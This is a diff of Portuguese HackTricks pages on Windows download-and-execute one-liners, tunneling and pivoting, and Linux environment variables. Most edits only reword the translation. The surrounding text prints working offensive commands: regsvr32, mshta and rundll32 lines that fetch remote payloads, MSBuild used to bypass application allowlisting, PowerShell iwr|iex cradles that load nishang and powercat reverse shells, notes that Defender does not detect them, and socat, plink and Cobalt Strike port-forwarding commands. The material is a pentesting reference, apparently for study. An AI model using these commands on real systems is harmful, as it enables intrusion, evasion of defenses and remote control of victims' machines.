||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -138,7 +138,7 @@ new ActiveXObject('WScript.Shell').Run(c);
|
||||||
```
|
```
|
||||||
#### **mshta - sct**
|
#### **mshta - sct**
|
||||||
|
|
||||||
[**Daqui**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
[**A partir daqui**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||||
```xml
|
```xml
|
||||||
<?XML version="1.0"?>
|
<?XML version="1.0"?>
|
||||||
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
|
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
|
||||||
|
@ -218,7 +218,7 @@ rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject(
|
||||||
```
|
```
|
||||||
## Regsvr32
|
## Regsvr32
|
||||||
|
|
||||||
* [A partir daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
* [Daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||||
```bash
|
```bash
|
||||||
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
|
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
|
||||||
```
|
```
|
||||||
|
@ -340,8 +340,8 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
|
||||||
```
|
```
|
||||||
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
|
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
|
||||||
```
|
```
|
||||||
Pode usar esta técnica para contornar a Lista Branca de Aplicativos e restrições do Powershell.exe. Você será solicitado com um shell PS.\
|
Pode usar esta técnica para contornar a Lista Branca de Aplicações e restrições do Powershell.exe. Como resultado, será solicitado um shell PS.\
|
||||||
Apenas baixe e execute isso: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
Basta baixar e executar o seguinte: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||||
```
|
```
|
||||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
||||||
```
|
```
|
||||||
|
@ -353,7 +353,7 @@ Compilar código C# na máquina da vítima.
|
||||||
```
|
```
|
||||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
|
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
|
||||||
```
|
```
|
||||||
Pode baixar um shell reverso básico em C# aqui: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
Pode baixar um shell reverso básico em C# daqui: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||||
|
|
||||||
**Não detectado**
|
**Não detectado**
|
||||||
|
|
||||||
|
@ -383,7 +383,7 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
||||||
|
|
||||||
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
|
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
|
||||||
|
|
||||||
Na pasta **Shells**, existem muitas shells diferentes. Para baixar e executar o Invoke-_PowerShellTcp.ps1_, faça uma cópia do script e adicione ao final do arquivo:
|
Na pasta **Shells**, existem muitas shells diferentes. Para baixar e executar o Invoke-_PowerShellTcp.ps1_ faça uma cópia do script e adicione ao final do arquivo:
|
||||||
```
|
```
|
||||||
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
|
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
|
||||||
```
|
```
|
||||||
|
@ -391,7 +391,7 @@ Comece a servir o script em um servidor web e execute-o no final da vítima:
|
||||||
```
|
```
|
||||||
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
|
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
|
||||||
```
|
```
|
||||||
Defender ainda não o detecta como código malicioso (ainda, 3/04/2019).
|
Defender não o detecta como código malicioso (ainda, 3/04/2019).
|
||||||
|
|
||||||
**TODO: Verificar outros shells do nishang**
|
**TODO: Verificar outros shells do nishang**
|
||||||
|
|
||||||
|
@ -403,11 +403,11 @@ Baixe, inicie um servidor web, inicie o ouvinte e execute no final da vítima:
|
||||||
```
|
```
|
||||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||||
```
|
```
|
||||||
Defender não o deteta como código malicioso (ainda, 3/04/2019).
|
Defender ainda não o detecta como código malicioso (ainda, 3/04/2019).
|
||||||
|
|
||||||
**Outras opções oferecidas pelo powercat:**
|
**Outras opções oferecidas pelo powercat:**
|
||||||
|
|
||||||
Ligar shells, Shell reverso (TCP, UDP, DNS), Redirecionamento de porta, upload/download, Gerar payloads, Servir ficheiros...
|
Bind shells, Reverse shell (TCP, UDP, DNS), Redirecionamento de porta, upload/download, Gerar payloads, Servir arquivos...
|
||||||
```
|
```
|
||||||
Serve a cmd Shell:
|
Serve a cmd Shell:
|
||||||
powercat -l -p 443 -e cmd
|
powercat -l -p 443 -e cmd
|
||||||
|
@ -432,7 +432,7 @@ Crie um iniciador powershell, salve-o em um arquivo e faça o download e execute
|
||||||
```
|
```
|
||||||
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||||
```
|
```
|
||||||
**Código detectado como malicioso**
|
**Detectado como código malicioso**
|
||||||
|
|
||||||
### MSF-Unicorn
|
### MSF-Unicorn
|
||||||
|
|
||||||
|
@ -454,7 +454,7 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
||||||
|
|
||||||
## Mais
|
## Mais
|
||||||
|
|
||||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) Console PS com alguns módulos ofensivos PS pré-carregados (cifrado)\
|
[PS>Attack](https://github.com/jaredhaight/PSAttack) Console PS com alguns módulos ofensivos PS pré-carregados (cifrados)\
|
||||||
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
|
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
|
||||||
WinPWN](https://github.com/SecureThisShit/WinPwn) Console PS com alguns módulos ofensivos PS e detecção de proxy (IEX)
|
WinPWN](https://github.com/SecureThisShit/WinPwn) Console PS com alguns módulos ofensivos PS e detecção de proxy (IEX)
|
||||||
|
|
||||||
|
@ -470,7 +470,7 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) Console PS com alguns módulos
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -480,9 +480,9 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) Console PS com alguns módulos
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
|
|
@ -4,7 +4,7 @@
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
@ -14,7 +14,7 @@
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -87,7 +87,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
||||||
```
|
```
|
||||||
### VPN-Tunnel
|
### VPN-Tunnel
|
||||||
|
|
||||||
É necessário **root em ambos os dispositivos** (pois você vai criar novas interfaces) e a configuração do sshd deve permitir login como root:\
|
É necessário **root em ambos os dispositivos** (pois você vai criar novas interfaces) e a configuração do sshd deve permitir login de root:\
|
||||||
`PermitRootLogin yes`\
|
`PermitRootLogin yes`\
|
||||||
`PermitTunnel yes`
|
`PermitTunnel yes`
|
||||||
```bash
|
```bash
|
||||||
|
@ -123,14 +123,14 @@ sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
|
||||||
|
|
||||||
### Port2Port
|
### Port2Port
|
||||||
|
|
||||||
Porta local --> Host comprometido (sessão ativa) --> Terceiro\_host:Porta
|
Porta local --> Host comprometido (sessão ativa) --> Terceira\_caixa:Porta
|
||||||
```bash
|
```bash
|
||||||
# Inside a meterpreter session
|
# Inside a meterpreter session
|
||||||
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
|
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
|
||||||
```
|
```
|
||||||
### SOCKS
|
### SOCKS
|
||||||
|
|
||||||
SOCKS (Socket Secure) é um protocolo de rede que permite a comunicação de pacotes entre clientes e servidores através de um firewall. Ele atua como um intermediário que encaminha o tráfego de rede entre o cliente e o servidor, permitindo a conexão a partir de uma rede interna ou privada. O SOCKS opera na camada 5 do modelo OSI (camada de sessão) e pode ser usado para realizar tunneling e port forwarding.
|
SOCKS (Socket Secure) é um protocolo de rede que permite a comunicação de pacotes entre clientes e servidores através de um servidor proxy. Ele pode ser usado para rotear o tráfego da rede de forma segura e anônima, facilitando a criação de túneis para acessar recursos de rede internos de forma remota.
|
||||||
```bash
|
```bash
|
||||||
background# meterpreter session
|
background# meterpreter session
|
||||||
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
|
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
|
||||||
|
@ -172,10 +172,16 @@ Neste caso, a **porta é aberta no host de beacon**, não no Servidor da Equipe
|
||||||
rportfwd [bind port] [forward host] [forward port]
|
rportfwd [bind port] [forward host] [forward port]
|
||||||
rportfwd stop [bind port]
|
rportfwd stop [bind port]
|
||||||
```
|
```
|
||||||
|
Para observar:
|
||||||
|
|
||||||
|
- O encaminhamento de porta reversa do Beacon é projetado para **tunelar o tráfego para o Servidor da Equipe, não para retransmitir entre máquinas individuais**.
|
||||||
|
- O tráfego é **tunelado dentro do tráfego C2 do Beacon**, incluindo links P2P.
|
||||||
|
- **Privilégios de administrador não são necessários** para criar encaminhamentos de porta reversa em portas altas.
|
||||||
|
|
||||||
### rPort2Port local
|
### rPort2Port local
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Neste caso, a **porta é aberta no host do beacon**, não no Team Server e o **tráfego é enviado para o cliente Cobalt Strike** (não para o Team Server) e a partir daí para o host:porta indicado.
|
Neste caso, a **porta é aberta no host do beacon**, não no Servidor da Equipe e o **tráfego é enviado para o cliente Cobalt Strike** (não para o Servidor da Equipe) e a partir daí para o host:porta indicado.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
```
|
```
|
||||||
rportfwd_local [bind port] [forward host] [forward port]
|
rportfwd_local [bind port] [forward host] [forward port]
|
||||||
|
@ -191,7 +197,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
|
||||||
```
|
```
|
||||||
## Chisel
|
## Chisel
|
||||||
|
|
||||||
Você pode baixá-lo na página de lançamentos de [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
|
Você pode baixá-lo na página de lançamentos do [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\
|
||||||
Você precisa usar a **mesma versão para cliente e servidor**
|
Você precisa usar a **mesma versão para cliente e servidor**
|
||||||
|
|
||||||
### socks
|
### socks
|
||||||
|
@ -269,7 +275,7 @@ OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacke
|
||||||
|
|
||||||
### Túnel SSL com Socat
|
### Túnel SSL com Socat
|
||||||
|
|
||||||
**Console /bin/sh**
|
**/bin/sh console**
|
||||||
|
|
||||||
Criar certificados em ambos os lados: Cliente e Servidor
|
Criar certificados em ambos os lados: Cliente e Servidor
|
||||||
```bash
|
```bash
|
||||||
|
@ -285,9 +291,9 @@ chmod 600 $FILENAME.key $FILENAME.pem
|
||||||
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
|
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
|
||||||
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
|
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
|
||||||
```
|
```
|
||||||
### Porta a Porta Remoto
|
### Porta2Porta Remoto
|
||||||
|
|
||||||
Conecte a porta SSH local (22) à porta 443 do host atacante
|
Conecte a porta SSH local (22) à porta 443 do host do atacante
|
||||||
```bash
|
```bash
|
||||||
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
|
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
|
||||||
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
|
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
|
||||||
|
@ -295,9 +301,9 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
||||||
```
|
```
|
||||||
## Plink.exe
|
## Plink.exe
|
||||||
|
|
||||||
É como uma versão console do PuTTY (as opções são muito semelhantes a um cliente ssh).
|
É como uma versão de console do PuTTY (as opções são muito semelhantes a um cliente ssh).
|
||||||
|
|
||||||
Como este binário será executado na vítima e é um cliente ssh, precisamos abrir nosso serviço ssh e porta para que possamos ter uma conexão reversa. Em seguida, encaminhe apenas a porta acessível localmente para uma porta em nossa máquina:
|
Como este binário será executado na vítima e é um cliente ssh, precisamos abrir nosso serviço ssh e porta para que possamos ter uma conexão reversa. Em seguida, para encaminhar apenas a porta acessível localmente para uma porta em nossa máquina:
|
||||||
```bash
|
```bash
|
||||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||||
|
@ -319,7 +325,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
||||||
## SocksOverRDP & Proxifier
|
## SocksOverRDP & Proxifier
|
||||||
|
|
||||||
É necessário ter **acesso RDP sobre o sistema**.\
|
É necessário ter **acesso RDP sobre o sistema**.\
|
||||||
Download:
|
Baixe:
|
||||||
|
|
||||||
1. [Binários SocksOverRDP x64](https://github.com/nccgroup/SocksOverRDP/releases) - Esta ferramenta utiliza `Dynamic Virtual Channels` (`DVC`) do recurso de Serviço de Área de Trabalho Remota do Windows. O DVC é responsável por **tunelar pacotes sobre a conexão RDP**.
|
1. [Binários SocksOverRDP x64](https://github.com/nccgroup/SocksOverRDP/releases) - Esta ferramenta utiliza `Dynamic Virtual Channels` (`DVC`) do recurso de Serviço de Área de Trabalho Remota do Windows. O DVC é responsável por **tunelar pacotes sobre a conexão RDP**.
|
||||||
2. [Binário Portátil do Proxifier](https://www.proxifier.com/download/#win-tab)
|
2. [Binário Portátil do Proxifier](https://www.proxifier.com/download/#win-tab)
|
||||||
|
@ -329,13 +335,13 @@ No seu computador cliente, carregue **`SocksOverRDP-Plugin.dll`** assim:
|
||||||
# Load SocksOverRDP.dll using regsvr32.exe
|
# Load SocksOverRDP.dll using regsvr32.exe
|
||||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||||
```
|
```
|
||||||
Agora podemos **conectar** à **vítima** via **RDP** usando **`mstsc.exe`**, e devemos receber um **prompt** informando que o plugin **SocksOverRDP está habilitado**, e ele irá **escutar** em **127.0.0.1:1080**.
|
Agora podemos **conectar** à **vítima** via **RDP** usando **`mstsc.exe`**, e devemos receber um **prompt** informando que o **plugin SocksOverRDP está habilitado**, e ele irá **escutar** em **127.0.0.1:1080**.
|
||||||
|
|
||||||
**Conecte** via **RDP** e faça upload e execute na máquina da vítima o binário `SocksOverRDP-Server.exe`:
|
**Conecte** via **RDP** e faça upload e execute na máquina da vítima o binário `SocksOverRDP-Server.exe`:
|
||||||
```
|
```
|
||||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||||
```
|
```
|
||||||
Agora, confirme em sua máquina (atacante) que a porta 1080 está ouvindo:
|
Agora, confirme em sua máquina (atacante) que a porta 1080 está escutando:
|
||||||
```
|
```
|
||||||
netstat -antb | findstr 1080
|
netstat -antb | findstr 1080
|
||||||
```
|
```
|
||||||
|
@ -486,7 +492,7 @@ chmod a+x ./ngrok
|
||||||
./ngrok http file:///tmp/httpbin/
|
./ngrok http file:///tmp/httpbin/
|
||||||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||||||
```
|
```
|
||||||
#### Capturando chamadas HTTP
|
#### Captura de chamadas HTTP
|
||||||
|
|
||||||
*Útil para XSS, SSRF, SSTI ...*
|
*Útil para XSS, SSRF, SSTI ...*
|
||||||
Diretamente do stdout ou na interface HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000).
|
Diretamente do stdout ou na interface HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000).
|
||||||
|
@ -522,7 +528,7 @@ addr: file:///tmp/httpbin/
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
|
|
@ -4,9 +4,9 @@
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
@ -16,7 +16,7 @@ Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -100,7 +100,7 @@ Os processos usarão o **proxy** declarado aqui para se conectar à internet atr
|
||||||
export http_proxy="http://10.10.10.10:8080"
|
export http_proxy="http://10.10.10.10:8080"
|
||||||
export https_proxy="http://10.10.10.10:8080"
|
export https_proxy="http://10.10.10.10:8080"
|
||||||
```
|
```
|
||||||
### SSL_CERT_FILE & SSL_CERT_DIR
|
### SSL\_CERT\_FILE & SSL\_CERT\_DIR
|
||||||
|
|
||||||
Os processos confiarão nos certificados indicados nestas **variáveis de ambiente**.
|
Os processos confiarão nos certificados indicados nestas **variáveis de ambiente**.
|
||||||
```bash
|
```bash
|
||||||
|
@ -131,20 +131,20 @@ Um trabalho em segundo plano, um parado e o último comando não terminou corret
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
